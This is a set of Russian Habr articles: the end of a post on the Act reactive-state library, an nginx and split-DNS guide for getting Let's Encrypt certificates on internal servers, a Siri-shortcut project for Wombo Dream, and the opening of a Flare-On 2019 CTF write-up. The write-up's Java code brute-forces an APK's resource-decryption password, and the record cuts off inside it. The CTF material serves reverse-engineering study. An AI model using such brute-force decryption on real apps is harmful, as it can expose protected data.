Если вам интересны детали реализации — прошу под кат.
Идея
----
Сразу выложу карты на стол и опишу ключевую оптимизацию, а потом разберём алгоритм поэтапно. Промежуточные вычисляемые зависимости между подписчиками и мутируемыми листьями графа не обязаны иметь и инвалидировать ссылки на другие компьютеры, которые их используют — достаточно иметь список своих зависимостей для простой мемоизации. Для распространения изменений подписчики должны храниться напрямую в мутируемых листовых нодах. Иначе говоря, граф вычисляемых зависимостей можно сделать не двунаправленным, а однонаправленным, что сильно сокращает расходы на его инвалидацию (распространение изменений и обновление). Двунаправленными остаются только краевые части графа.
Читаемые исходники с наглядной типизацией и комментариями можно найти [тут](https://github.com/artalar/act/blob/main/src/index.ts).
Текущая ситуация
----------------
Удивительно, что в 2023 мы открываем новые границы производительности реактивности. Не первый раз убеждаюсь, что тема эта для нас новая и не изученная. Можно понять, реактивность ортогональна компайл-тайму, ведь её смысл — вынесение связей модулей из статического описания в рантайм. Думаю, поэтому за неё ещё не брались серьёзно «большие дядьки», которые предпочитают копаться в компиляторах. Идея шатать графы в рантайме на каждый чих кажется безумной. Особенно учитывая количество необходимой памяти на каждую ноду — двунаправленные связи, флаги дертичекинга, кеши — всё это может потреблять ресурсов заметно больше обслуживаемых вычислений. Стоит оно того?
Ещё год назад фронтом производительности среди реактивных библиотек был пятилетний [CellX](https://github.com/Riim/cellx), потом на сцену вышел Preact со своими сигналами и неплохо так [всех порвал](https://preactjs.com/blog/signal-boosting). Хотя из статьи по первой ссылке вы могли узнать, что реактивность в преакте глючная и может пропускать некоторые вычисления с некорректными данными. И вот, я представляю вам венец корректности и оптимальности реактивных состояний — [Act](https://github.com/artalar/act). У каждой ноды всего один список зависимостей, и интеджер для тривиального кеширования, это практически всё.
Стоит подчеркнуть, что Act — самая *оптимальная* библиотека в вопросах скорости создания связей, обновления и размера бандла, а также простоты внутренней реализации. Конечно, есть случаи, в которых Act будет не самым быстрым решением, а результаты одних и тех же бенчмарков могут отличаться от движка к движку. Во второй половине статьи мы разберём возможные трейдофы.
Алгоритм
--------
### ▍ Пример
Для подробного разбора давайте возьмём реальный пример и определимся с терминологией.
Пример. У нас есть список валют и их отношений к другим валютам. Есть товар и его стоимость зависит от выбранной валюты. Есть список товаров и их сумма.
```
export const currencies = act({ USD: { EUR: 1.1 }, EUR: { USD: 0.9 } });
export const currency = act("USD");
export const products = act([]);
export const sum = act(() =>
products().reduce((acc, { price, count }) => acc + price() * count(), 0)
);
export const createProduct = (dto) => ({
...dto,
count: act(1),
price: act(() => currencies()[currency()][dto.currency] * dto.cost),
});
export const addProduct = (dto) =>
products([...products(), createProduct(dto)]);
```
### ▍ Граф
Реактивные связи образуют граф, края которого, с одной стороны *mutable* / *writable* / *base* / *value* / *leaf* (`currencies`, `currency`, `products`, `count`), а с другой стороны *подписчики* / *subscribers* / *listeners* / *effects*, которые являются потребителями вычислений. Нейминг в разных библиотеках отличается, но промежуточные вычисляемые ноды (`sum`, `price`) практически везде называются *computed* или *combine*, главная сложность кроется именно в них.

Так как в вычисляемую ноду может заходить сразу несколько связей, а из базовой ноды может исходить несколько связей, мы получаем ациклически направленный граф ([DAG](https://en.wikipedia.org/wiki/Directed_acyclic_graph)), который отличается от дерева (одной из самых простых и эффективных графовых структур) тем, что во время его наивного обхода есть риск несколько раз зайти в одну и ту же ноду, что может быть чревато лишними вычислениями. Вот описание рекурсивного обхода в глубину ([DFS](https://en.wikipedia.org/wiki/Depth-first_search)) зависимых нод в случае смены `currency`:

Сама картинка страшно не выглядит, но стоит учитывать, что это не отображение графа зависимостей, а отображение процесса его обхода, в котором мы дважды заходим в `sum` и первый раз «приносим» новое значение `price1` ещё не обновив `price2` из-за чего до нотификации `price2 --> sum` сумма будет высчитана неверно, что в некоторых системах может породить ошибки представления или даже вычисления (`throw TypeError`). Но если ошибок можно избежать, лишние вычисления будут требовать лишних накладных расходов, нас же интересует возможность автоматической оптимизации и отбрасывания лишнего. Это классическая проблема для [топологической сортировки](https://en.wikipedia.org/wiki/Topological_sorting) и её разновидностей: можно помечать ноды «посещёнными» (классический dirty checking), можно рассчитывать для каждой ноды веса (вес тем больше чем позже нода была создана) и сортировать по ним релевантные ноды графа до его обхода. Можно придумать десяток комбинаций разнообразных приёмов из теории графов. Но в продвинутых системах, где реактивность старается быть прозрачной и позволяет гибче её описывать, используя нестатическое апи `combine($a, $b, (a, b) => a + b)`, а динамическое `computed(() => a() + b())`, появляются ДИНАМИЧЕСКИЕ ГРАФЫ.

Динамический граф — это граф, чьё состояние (отношения нод) может меняться во время его обхода. Сложно писать без эмоций, эта штука, которая разобьёт тебе лицо любым неловким поворотом своих бесконечных пируэтов. Динамический граф напрочь отменяет многие правила и паттерны, применимые для оптимизации классических графов, заметно усложняя всю систему, особенно учитывая, что у нас DAG.
Так зачем оно? Дело в удобности конечного апи. Любые либы с мутабельным стейтом под Proxy позволяют использовать свойства объектов и прозрачно подписываться на их изменения — это удобно для разработчика приложения, но совсем неудобно для разработчика библиотеки, т. к. убирается явное использование его методов, чтение и подписки просто происходят в произвольном порядке внутри функции пользователя. Какие условия там могут быть описаны, неизвестно, и статически не могут быть проанализированы: ифы, тернарки, форы и вайлы, колбеки. Хотя тот же `switchMap` из декларативного Rx позволяет менять структуру графа, чтобы убрать из рыксы глитчи придётся тоже поднапрячься. Чтобы кешировать переподписки между вызовами пользовательских вычисляемых функций, применяется счётчик вызовов, который позволяет просто сравнивать предыдущий и новый список используемых зависимостей и на основе этого принимать решение о инвалидации подграфа зависимостей… Ух, ещё не устали? Может, визуализации не хватает? А давайте остановимся и не будем погружаться во все вариации того что, как и зачем нужно делать в реактивных графах и какие сюрпризы там скрываются, это тема как минимум на серию постов. Есть множество готовых библиотек, чей код можно поизучать. Отойдём немного назад. Поэтапно погружаясь в проблемы и фичи реактивных графов, мы строили новые предположения на основе предыдущих, но что если нам вовсе не нужно кеширование и тогда, не нужна его инвалидация?
### ▍ Выворачиваем связи
О чём нужно задуматься, кому вообще нужны эти вычисления? При ленивом подходе ответ очевиден — подписчикам. Но если подписчик — источник истины о необходимой структуре зависимостей, а изменения могут начинаться и распространяться только в определённом типе нод — мутабельных листьях графа, зачем нам вообще хранить и инвалидировать связи в промежуточных нодах? С одной стороны логично, что если у нас уже есть граф и нам нужно связать его разные края — нам нужны двунаправленные связи, это примитивное решение для деревоподобных (tree-like) структур, но у нас же уже есть DAGи в производных нодах и это всё динамическое! Учитывая, что в нашей системе точки входа и выхода чётко разделены и находятся по краям — можно соединить только эти края и оставить в покое все замкнутые внутренние ноды.

Стало проще, да? Кешировать только `sum` уже намного проще. Если рисовать все связи, то было/стало выглядит так.
push (дерти чекинг) + pull (кеш) связи

notifications (сайд-эффекты) + pull (кеш) связи

Связей в полтора раза меньше и эта разница будет уменьшаться с ростом числа продуктов! Как видно, кеш связи (pull) остались — это простая мемоизация — когда у вычисляемой ноды пытаются получить значение, она сначала проходится по старому списку зависимостей и сравнивает последнее полученное состояние зависимости и текущее, если что-то различается — переданную пользователем функцию нужно перевызвать, иначе отдаём свой старый стейт. Важно отметить, что для предотвращения инвалидации вычисляемых нод по несколько раз (например, если бы `currencies` был вычисляемым) мы храним версию текущего обхода в каждой ноде и сравниваем при каждом заходе — это максимально простой и легковесный кеш, который очень просто инвалидировать просто инкрементом глобальным счётчиком обходов.
### ▍ Трейдофы
Пытливый читатель может задаться вопросом, если флаг инвалидации глобальный для всех, то обновление одного графа, помечает неактуальными вычисляемые ноды всех остальных графов и при попытке их простого чтения придётся проходить по всему pull кешу. Да, но тут нужно оценить реальный оверхед этой неоптимальности. В полностью реактивной системе мы не читаем данные просто так, это происходит только при обновлениях — тогда чтение релевантно, и актуализация и так сбрасывается, чтобы проверить влияние обновления на вычисляемые ноды. Мои эксперименты показали что инвалидация pull кеша очень дешёвая операция и её избыточные перевызовы лучше, чем хранение и инвалидация двунаправленных связей для каждого computed.
Если пофантазировать над другими возможными графами состояний, то можно представить более сложную структуру товара и при изменении `count` в одном товаре для пересчёта суммы нужно будет пройтись по всем нодам всех товаров, что при наличии в них многоуровневых вычисляемых нод может вести к избыточным вычислениям, но на моей практике это не такой частый случай и однонаправленный граф тут всё равно будет, скорее всего, дешевле двунаправленного.
Уточню про инвалидацию связей динамического графа, это же самая большая проблема. При добавлении нового товара, в зависимости от его очереди в общем списке и используемым алгоритмам сравнения списка зависимостей в двунаправленном графе, скорее всего, придётся пересоздавать одни и те же связи или плодить достаточно много промежуточных кешей уникального списка (`Set`) — оверхед. В случае с notification + pull подходом нам нужно инвалидировать меньше связей, но Act вообще никакие сравнения не делает, всё проще.
В современном мире не всегда память — узкое место. Мобильные телефоны — критический сегмент рынка — используют SoC, которые часто имеют хорошую шину между памятью и процессором. Иногда лишние вычисления могут стоить дороже выкидывания старой и использования новой памяти. В Act, когда краевая нода обновляется — она пушит в общую очередь нотификации список своих зависимостей и создаёт его заново — пустой. Когда каждый подписчик будет затягивать новые значения, он неизбежно зайдёт в обновлённую ноду и добавится в новый список зависимостей. Всё. Никаких сравнений и дополнительных кешей — просто пересоздание части графа from scratch. Преимущество такого подхода в том, что при добавлении новой ноды (нового товара, например) подписчик не делает никакой новой работы — он также проходит по всему графу и добавляется ко всем заново. А как он добавляется заново к старым нодам? В них используется `Set` для списка сайд-эффектов, к счастью, в JS это ordered linked list с константной сложностью доступа.
### ▍ Ленивые отписки могут привести к утечкам памяти
Но есть в этом алгоритме потенциальная возможность для утечки памяти. Как происходят отписки? Подписчик проходится по всему графу и удаляет себя из краевых нод — не максимально оптимально, но терпимо. А если мы удалили товар из корзины? Если ссылка на товар полностью исчезает — GC её съест вместе со списком подписчиков. Но если товар переносится в список избранного, то ссылка на старого подписчика для `sum` там всё ещё остаётся и будет очищен только при обновлении товара и переинвалидации списка. Словить такую ситуацию не просто и тем более заставить это линейно течь, но мы же хотим не заставлять думать пользователя библиотеки о графах и их инвалидации самому, поэтому давайте исправим это. Пусть при добавлении в список подписчиков краевой ноды (writable) подписчика, самому подписчику сохраняется краевая нода в простой массив. Тогда, при инвалидации подписчика (обновлении списка продуктов) он может пройтись по старому списку краевых нод и удалить себя (благо `Set.prototype.delete` константный), а потом собрать заново, как говорилось выше. Обновлённый граф немного сложнее.

Но он всё ещё легче и эта реализация всё ещё производительней других решений в большинстве случаев.
Итоги
-----
[По ссылке на бенчмарк](https://perf.js.hyoo.ru/#!bench=9h2as6_u0mfnn) из первой статьи теперь можно найти и Act, чаще всего он показывает наилучшие результаты, а главное, работает максимально корректно и не содержит ошибок инвалидации списка зависимостей. [В моём бенчмарке](http://github.com/artalar/reactive-computed-bench) акт тоже показывает, в общем, лучшие результаты.
Интересно, то что этот notification-pull алгоритм с пересозданием нод очень простой по сравнению с классическим дерти чекингом, двунаправленными связями и их инвалидацией, размер бандла тому в подтверждение. Хотя после всех допиливаний и улучшений читаемости 0.3KB gzip превратились в 0.4KB brotli, но результат всё равно впечатляющий.
Надеюсь, что эта статья вскоре станет устаревшей, потому что мы найдём новые простые и эффективные способы оптимизации наших библиотек и приложений. В любом случае хочется порекомендовать попробовать [Act](https://github.com/artalar/act), благодаря размеру он может прекрасно помочь добавить интерактивность на лендинг и как уже говорилось в начале статьи — он легко интегрируется с React и Svelte без дополнительных адаптеров, предсказуем и очень прост в использовании. Ну а если вам нужно решение с ещё большими перспективами по стабильности и масштабированию (лайфсайкл хуки, продвинутый дебаг, контекстно-зависимые процессы) — [reatom.dev](https://www.reatom.dev/), там апи не сильно сложнее и есть уже приличная экосистема.
> **[Играй в наш скролл-шутер прямо в Telegram и получай призы! 🕹️🎁](https://t.me/ruvds_community/170)**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=artalar&utm_content=kak_ya_napisal_samuyu_effektivnuyu_biblioteku_dlya_reaktivnogo_sostoyaniya) | https://habr.com/ru/post/713808/ | null | ru | null |
# Сертификаты Let's Encrypt и ACME вообще во внутренней сети
Обычно внутри корпоративной сети нынче полно всяких приложений, и хотелось бы чтобы они работали по SSL. Можно, конечно, поднять свой УЦ, раздать сертификаты, прописать пользователям свой корневой сертификат - и это будет работать. А можно просто воспользоваться сервисом [Let's Encrypt](https://letsencrypt.org), раздав его сертификаты своим внутренним серверам, которые не видны из Интернета, причем сделать это просто и с минимумом трудозатрат на поддержку.
### Необходимые условия
* Наличие зарегистрированного домена, допустим, **mycompany.ru** и адресация внутренних серверов в нем.
* Использование [split-DNS](https://www.google.com/search?q=split-DNS), т.е. разрешение доменных имен **mycompany.ru** в разные IP адреса для внутренней сети и для всего Интернета. Делается либо через механизм View сервера BIND либо просто путем использования разных DNS серверов.
* Внутренние сервера имеют доступ в Интернет по HTTPS - через маскирующий/NAT шлюз, файрвол, прокси, как угодно. Впрочем, это можно преодолеть, просто эту статью придется дочитать до конца, а поработать чуть больше.
### Как это работает
Логика работы сервиса Let's Encrypt:
* Сервер-претендент обращается к API Let's Encrypt по HTTPS, сообщает ему домены, для которых нужен сертификат. Например, **server.mycompany.ru**.
* В ответ сервис формирует некий код, который должен быть размещен по запрошенному доменному адресу чтобы подтвердить принадлежность домена. Есть варианты: размещение файла с кодом на веб-сервере или добавление в DNS домена определенной записи. Мы будем использовать файл на веб-сервере.
* "Проверялка" Let's Encrypt лезет простым GET запросом на адрес **http://server.mycompany.ru/.well-known/acme-challenge/{а здесь сам код},** иесли получает ожидаемый ответ - то считает, что домен проверен.
* Let's Encrypt выпускает сертификат и предоставляет его серверу.
На самом деле [все немного сложнее](https://letsencrypt.org/ru/how-it-works/), но нам детали и не потребуются.
### Что мы делаем и зачем
Нам понадобится один прокси-сервер (nginx) и правильная настройка DNS. Больше, удивительным образом, ничего. Прокси-сервер должен быть доступен из Интернет и иметь доступ во внутреннюю сеть (dual-homed).
Полагаем, что все наши сервера во внутреннем DNS прописаны по именам. Во внешнем DNS, в зоне **mycompany.ru** задаем имя для внешнего адреса прокси-сервера, пусть будет **proxy.** И там же для каждого сервера из внутренней сети делаем запись CNAME, указывающую на proxy.
Конфигурируем nginx, общая конфигурация самая обычная, нужные нам блоки server в контексте http выглядит так:
```
server {
listen 80;
server_name .mycompany.ru; # Принимаем любые имена в домене
location /.well-known {
if ($request_method != GET) { # Разрешаем только метод GET
return 444; # иначе - сбрасываем TCP соединение
}
resolver 10.0.0.2 10.0.1.2; # Обязательно ипользуем внутренние DNS
proxy_pass http://$host; # проксируется на сервер внутрь сети с тем же именем
}
location / { # Все остальные запросы -
return 444; # просто сбрасываем TCP соединение
log_not_found off; # и ничего не пишем в лог
access_log off;
}
}
server { # На все запросы по IP адресу без домена
listen 80 default_server; # отвечаем сбросом TCP соединения
server_name _;
return 444;
log_not_found off;
access_log off;
}
```
Кстати, если у вас уже есть dual-homed сервер с nginx для каких-то других задач, то эту конфигурацию можно просто добавить к нему, она не будет мешать обслуживанию других серверов даже с именами в том же домене.
Работает это очень просто:
* Наш внутренний сервер посылает запрос, получает код авторизации и размещает его у себя как положено.
* "Проверялка" Let's Encrypt разрешает запрошенное имя в адрес proxy и посылает туда запрос GET, естественно доменное имя указано в запросе.
* Получив запрос, прокси еще раз разрешает доменное имя, но уже **внутренним** DNS и выполняет запрос на реальный сервер, получает ответ и отдает его "проверялке".
* Проверка пройдена, наш внутренний сервер получает сертификат.
Вуаля! Все работает! Ставим на внутреннем сервере Certbot или активируем встроенную поддержку сертификатов Let's Encrypt у нужного нам софта - и погнали. Не забываем повесить задачу на автообновление сертификатов!
### За, против и немного про безопасность
Преимущества:
* Простота реализации. По плечу очень среднему админу.
* Совместимость. Работают **любые ACME-клиенты с проверкой по HTTP на всех платформах**, в том числе родной Certbot, встроенные ACME клиенты (проверено на Proxmox), да и вообще нет ограничений по использованию ACME кроме верификации по HTTP. И да, работать должно не только с Let's Encrypt.
* Минимальные усилия на изменения: чтобы Let's Encrypt стал доступен для любого сервера внутри - достаточно просто добавить CNAME для него во внешний DNS. Ну и сделать соответствующие ACME-настройки на самом сервере, конечно.
Недостатки:
* Мы вроде как показываем имена внутренних серверов в Интернете. На самом деле - нет, если только внешний DNS настроен правильно и не позволяет кому попало забирать зону целиком, что является хорошей практикой независимо от целей.
***UPDATE: Как правильно заметил в комментарии*** [***@HxShard***](https://habr.com/ru/users/HxShard/) ***, используя публичные сертификаты внутри сети мы неизбежно делаем доступными доменные имена узлов, для которых мы их получили, как минимум таким вот образом*** [***https://crt.sh/?q=habr.com***](https://crt.sh/?q=habr.com)***. Тут уж придется каждому решить - насколько большой риск тем самым создается. Лично я оцениваю его как весьма небольшую цену за удобство, во всяком случае вряд ли именно это станет самым низким участком моего виртуального забора.***
* Теоретически, прокси-сервер, как любой dual-homed, создает угрозу. Но и меры защиты - самые обычные. Если они непонятны и вы не можете правильно настроить защиту для Linux + Nginx - то вам вообще не стоит иметь дела с серверами, подключенными к Интернету. Позовите взрослых пожалуйста!
* Опять же, теоретически, существует возможность DoS на внутренний сервер при условии что его имя получено - путем заваливания его запросами в каталог /.well-known. Крайне маловероятный сценарий, но его можно легко купировать, [ограничив скорость запросов на прокси](https://habr.com/ru/company/southbridge/blog/329876/). Это же nginx!
* Внутренние серверы должны иметь доступ в Интернет. Но если это для вас проблема - то ниже покажу как ее решить.
К сожалению, Let's Encrypt не поддерживает и не публикует список собственных IP-адресов, поэтому ограничить обращение внутренних серверов наружу и запросы извне по IP - не получится.
### И все же, изолированные сервера, сделаем?
Ценою усложнения схемы - сделаем и это. Дело в том, что ACME-клиент посылает запрос по HTTPs. С одной стороны - его тоже можно проксировать, но при этом "ломается" сертификат, и скорее всего ACME-клиент выдаст ошибку. SSL соединение нормально проксируется только на уровне TCP, но к счастью nginx и это умеет.
Нам понадобится:
* По два внутренних IP адреса на каждый ACME сервис (для основного и staging).
* "Перехватить" домен сервиса - либо путем записей в hosts либо на своем внутреннем DNS.
* Настроить nginx для проксирования на уровне TCP.
*Кстати: адреса API разных ACME-сервисов можно взять из скрипта* [*acme.sh*](https://github.com/acmesh-official/acme.sh/blob/master/acme.sh)
Ок, делаем, на примере Let's Encrypt. Будем считать, что для внутренних интерфейсов прокси выделены адреса 10.0.1.34 и 10.0.1.35.
**Перехват DNS**
Перехват через hosts проще, но его надо не забыть сделать на каждом внутреннем сервере, добавив в файл строки:
```
10.0.1.34 acme-v02.api.letsencrypt.org
10.0.1.35 acme-staging-v02.api.letsencrypt.org
```
Перехват внутренним DNS сервером сложнее, но зато сделать его надо один раз и работать он будет для всех серверов. Для этого на внутреннем DNS создаем зону **api.letsencrypt.org**, и заводим в ней нужные хосты, пример файла зоны для BIND:
```
;Перехват api.letsencrypt.org
; SOA
api.letsencrypt.org. 3600 IN SOA localhost. root.localhost. (
2022122900
28800
7200
604800
3600
)
;основной сервер
acme-v02 3600 IN A 10.0.1.34
;staging сервер
acme-staging-v02 3600 IN A 10.0.1.35
```
Вне зависимости от способа, проверяем результат пингуя с внутреннего сервера по именам **acme-v02.api.letsencrypt.org** и **acme-staging-v02.api.letsencrypt.org**, пинги должны проходить на .34 и .35 адреса соответственно. Значит, перехват DNS удался.
**Настройка Nginx**
Обратите внимание, что эти директивы должны находиться в контексте main, в то время как все привычные файлы конфигурации виртуальных хостов в каталоге "из коробки" уже находятся в контексте http. Поэтому надо либо добавлять в основной файл конфигурации /etc/nginx/nginx.conf, либо в каталог либо в отдельный файл и в правильном месте ставить include.
```
stream {
resolver 8.8.8.8; # А вот здесь нам нужен DNS, способный разрешать имена в Интернете
server { # Проксируем 443 порт на .34 адресе и отправляем на основной сервер
listen 10.0.1.34:443;
proxy_pass acme-v02.api.letsencrypt.org:443;
}
server { # Проксируем 443 порт на .35 адресе и отправляем на stageing сервер
listen 10.0.1.35:443;
proxy_pass acme-staging-v02.api.letsencrypt.org:443;
}
}
```
Ну вот и все! Теперь и серверы внутренние доступа наружу не имеют и Let's Encrypt на них работает.
P.S. Дед мой, добрая ему память, частенько говорил: "Кабы не клин да мох, да и плотник бы сдох!". Так и хочется перелицевать на "Кабы не nginx, да ???, так и сисадмин бы ???". Но вот что подставить? Предлагайте! :-) | https://habr.com/ru/post/708510/ | null | ru | null |
# Нарисуй сон
Нейронные сети, рисующие “всякое” по запросу, не обошли стороной и меня. После того, как наигрался, я решил, что так как тема из области искусственного интеллекта, то и интерфейс взаимодействия нужен соответствующий. Например, голос и желательно на русском языке. Так появилась идея создать быструю команду для siri. Что из этого получилось, читайте далее. В конце статьи - видео, ссылки на быстрые команды, [репозиторий с необходимыми файлами и инструкция по установке](https://github.com/guinmoon/wombo-ios-shortcut).
В качестве генератора изображений я выбрал [Wombo Dream](https://dream.ai/create), так как нейросеть выдает неплохие результаты и имеет простой API. В качестве основы используется скрипт на python, который делает серию запросов в Dream и получает ссылку на итоговое изображение. Wombo в качестве входных данных принимает текст на английском, поэтому отдельно написан метод перевода с русского языка через [google translate](https://translate.google.com/?hl=ru&sl=en&tl=ru&op=translate).
Мой выбор приложения, поддерживающего запуск скриптов на python из быстрой команды, остановился на [a-shell](https://holzschu.github.io/a-Shell_iOS/). Если "приложение не доступно в вашей стране", его можно установить через [TestFlight](https://testflight.apple.com/join/WUdKe3f4). При запуске скрипта из быстрой команды с использованием расширения (в фоне) есть ограничения:
* Нет возможности подключить модули установленные с помощью pip
* Время выполнения не должно превышать 5 секунд
* Иногда вылетает без объяснения причины
Учитывая ограничения, в скрипт добавлена возможность разделить взаимодействие с Wombo на этапы. Методом проб и ошибок я пришёл к следующему алгоритму действий:
1. Получение входных данных (Siri или клавиатура)
2. Перевод полученного текста на английский
3. Запрос в wombo dream
4. Получение идентификатора задачи
5. Опрос задачи по идентификатору до тех пор пока ее статус не изменится на completed
6. Получение ссылки на итоговое изображение
7. Скачивание изображения
8. Обрезка изображения
9. Отображение результата + Сохранение изображения в фото и установка в качестве обоев (опционально)
[Быстрая команда.](https://www.icloud.com/shortcuts/547142dbf33449f6859eab4386a88fd0)
[Репозиторий со скриптом и инструкцией по установке](https://github.com/guinmoon/wombo-ios-shortcut).
Дополнительно
-------------
Если при выполнении после ожидания возникает ошибкаК сожалению работа быстрых команд в фоне сильно ограничена и если Wombo Dream долго не возвращает результат работы, то появится ошибка. Однако задача уже на генерацию уже запущена и зная ID задачи можно запросить результат повторно. Для этого я написал [отдельную быструю команду.](https://www.icloud.com/shortcuts/619363e9eeea42afba0611ed85e37248)
Установка обоев по расписаниюНужно добавить всего одно действие в быструю команду
Далее можно создать автоматизацию и запускать скрипт по расписанию
Случайный рисунокВ скрипте присутствует генератор фраз. Для активации необходимо добавить ключ `-p r`. Принцип работы: файл words1.txt содержит 600 самых популярных существительных в английском языке, файл words2.txt 25 самых популярных предлогов. Фраза составляется из трех слов: на первом месте случайное существительное, на втором случайный предлог, на третьем снова случайное существительное.
[Быструю команду можно скачать тут.](https://www.icloud.com/shortcuts/f328c02f8ebf4f02849edd7398d87bfe)
P.S. Помимо Wombo Dream есть и [другие](https://discord.gg/midjourney) [проекты](https://labs.openai.com/auth/signup) , если кто то знает как с ними взаимодействовать (желательно на бесплатной основе) напишите пожалуйста в комментариях. | https://habr.com/ru/post/703292/ | null | ru | null |
# Flare-On 2019 write-up

-0x01 — Intro
-------------
Данная статья посвящена разбору всех заданий [Flare-On 2019](http://www.flare-on.com/) — ежегодного соревнования по реверс-инжинирингу от FireEye. В данных соревнованиях я принимаю участие уже второй раз. В предыдущем году мне удалось попасть на 11-ое место по времени сдачи, решив все задачи примерно за 13 суток. В этом году набор тасков был проще, и я уложился в 54 часа, заняв при этом 3 место по времени сдачи.
В данной статье я старался описать те моменты, которые вызвали у меня наибольший интерес, поэтому в разборе не будет описания рутиной работы в IDA, понимания алгоритмов каждой функции и других не самых интересных моментов. Надеюсь, прочитав это, Вы найдете для себя что-то новое и полезное. С разборами задач от авторов, а также с некоторой статистикой и призами для победителей Вы можете ознакомиться [тут](https://www.fireeye.com/blog/threat-research/2019/09/2019-flare-on-challenge-solutions.html).
Если вас заинтересовало, то добро пожаловать под кат!
0x00 — Содержание
-----------------
1. [0x01 — Memecat Battlestation [Shareware Demo Edition]](#task01)
2. [0x02 — Overlong](#task02)
3. [0x03 — Flarebear](#task03)
4. [0x04 — Dnschess](#task04)
5. [0x05 — demo](#task05)
6. [0x06 — bmphide](#task06)
7. [0x07 — wopr](#task07)
8. [0x08 — snake](#task08)
9. [0x09 — reloadered](#task09)
10. [0x0A — Mugatu](#task10)
11. [0x0B — vv\_max](#task11)
12. [0x0C — help](#task12)
13. [0x0D — Итог](#outro)
0x01 — Memecat Battlestation [Shareware Demo Edition]
-----------------------------------------------------
> Welcome to the Sixth Flare-On Challenge!
>
>
>
> This is a simple game. Reverse engineer it to figure out what "weapon codes" you need to enter to defeat each of the two enemies and the victory screen will reveal the flag. Enter the flag here on this site to score and move on to the next level.
>
>
>
> \* This challenge is written in .NET. If you don't already have a favorite .NET reverse engineering tool I recommend dnSpy
>
>
>
> \*\* If you already solved the full version of this game at our booth at BlackHat or the subsequent release on twitter, congratulations, enter the flag from the victory screen now to bypass this level.
Данный таск был выложен заранее в рамках Black Hat USA 2019, примерно тогда же я его и решил. ~~Я не помню, как его решал~~ Таск довольно простой, поэтому рассматривать его решение не будем.
0x02 — Overlong
---------------
> The secret of this next challenge is cleverly hidden. However, with the right approach, finding the solution will not take an overlong amount of time.
Дан x86 .exe файл. При попытке запуска выводится сообщение со следующим содержимым:

При анализе приложения можно обнаружить, что сообщение хранится в некоторой кодировке с переменной длиной символа (от 1 до 4 байт). При вызове функции декодирования ей передается длина ожидаемого результата, которая короче самого сообщения, из-за чего не виден флаг. Можно исправить передаваемое в функцию значение длины в режиме отладки и получить полное сообщение с флагом:

Также можно было переписать алгоритм декодирования на Python и получить флаг:
```
msg = [ ... ] # сюда необходимо вставить закодированное сообщение
output = []
i = 0
while i < len(msg):
if (msg[i] >> 3) == 0x1e:
out_char = (
((msg[i + 3] & 0x3F) << 0 ) |
((msg[i + 2] & 0x3F) << 6 ) |
((msg[i + 1] & 0x3F) << 12) |
((msg[i + 0] & 7) << 18)
)
output.append(out_char)
i += 4
elif (msg[i] >> 4) == 0x0e:
out_char = (
((msg[i + 2] & 0x3F) << 0 ) |
((msg[i + 1] & 0x3F) << 6 ) |
((msg[i + 0] & 0xF) << 12)
)
output.append(out_char)
i += 3
elif (msg[i] >> 5) == 6:
out_char = (
((msg[i + 1] & 0x3F) << 0 ) |
((msg[i + 0] & 0xF) << 6 )
)
output.append(out_char)
i += 2
else:
output.append(msg[i])
i += 1
print(bytes([i for i in output]))
# b'I never broke the encoding: I_a_M_t_h_e_e_n_C_o_D_i_n_g@flare-on.com'
```
0x03 — Flarebear
----------------
> We at Flare have created our own Tamagotchi pet, the flarebear. He is very fussy. Keep him alive and happy and he will give you the flag.
В данном таске дан `apk` файл для `Android`. Рассмотрим метод решения без запуска самого приложения.
Первым делом необходимо получить исходный код приложения. Для этого с помощью набора утилит `dex2jar` преобразуем `apk` в `jar` и затем получим исходный код на `Java` с помощью декомпилятора, в качестве которого я предпочитаю использовать `cfr`.
```
~/retools/d2j/d2j-dex2jar.sh flarebear.apk
java -jar ~/retools/cfr/cfr-0.146.jar --outputdir src flarebear-dex2jar.jar
```
Анализируя исходный код приложения, можно найти интересный метод `.danceWithFlag()`, который находится в файле `FlareBearActivity.java`. Внутри `.danceWithFlag()` происходит расшифровка `raw`-ресурсов приложения с помощью метода `.decrypt(String, byte[])`, первым аргументом которого является строка, полученная с помощью метода `.getPassword()`. Наверняка флаг находится в зашифрованных ресурсах, поэтому попробуем расшифровать их. Для этого я решил немного переписать декомпилированный код, избавившись от зависимостей `Android` и оставив только необходимые для расшифровки методы, чтобы в результате можно было скомпилировать полученный код. В дальнейшем, при анализе, было обнаружено, что метод `.getPassword()` зависит от трех целочисленных значений состояния. Каждое значение лежит в небольшом интервале от `0` до `N`, поэтому можно перебрать все возможные значения в поисках нужного пароля.
В результате получился следующий код:
**Main.java**
```
import java.io.InputStream;
import java.nio.charset.Charset;
import java.security.Key;
import java.security.spec.AlgorithmParameterSpec;
import java.security.spec.KeySpec;
import java.util.ArrayList;
import java.util.Collection;
import java.util.HashMap;
import java.util.List;
import java.util.stream.Collectors;
import java.util.Collections;
import java.io.*;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
public final class Main {
public static void main (String args []) throws Exception {
Main a = new Main();
InputStream inputStream = new FileInputStream("ecstatic");
long fileSize = new File("ecstatic").length();
byte[] file1 = new byte[(int) fileSize];
inputStream.read(file1);
inputStream = new FileInputStream("ecstatic2");
fileSize = new File("ecstatic2").length();
byte[] file2 = new byte[(int) fileSize];
inputStream.read(file2);
for(int i = 0; i < 9; i++)
{
for(int j = 0; j < 7; j++)
{
for(int k = 1; k < 16; k++)
{
String pass = a.getPassword(i, j, k);
try {
byte[] out1 = a.decrypt(pass, file1);
byte[] out2 = a.decrypt(pass, file2);
OutputStream outputStream = new FileOutputStream("out1");
outputStream.write(out1);
outputStream = new FileOutputStream("out2");
outputStream.write(out2);
System.out.println("yep!");
} catch (javax.crypto.BadPaddingException ex) {
}
}
}
}
}
public final byte[] decrypt(Object object, byte[] arrby) throws Exception {
Object object2 = Charset.forName("UTF-8");
object2 = "pawsitive_vibes!".getBytes((Charset)object2);
object2 = new IvParameterSpec((byte[])object2);
object = ((String)object).toCharArray();
Object object3 = Charset.forName("UTF-8");
object3 = "NaClNaClNaCl".getBytes((Charset)object3);
object = new PBEKeySpec((char[])object, (byte[])object3, 1234, 256);
object = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret((KeySpec)object);
object3 = new SecretKeySpec(((SecretKey)object).getEncoded(), "AES");
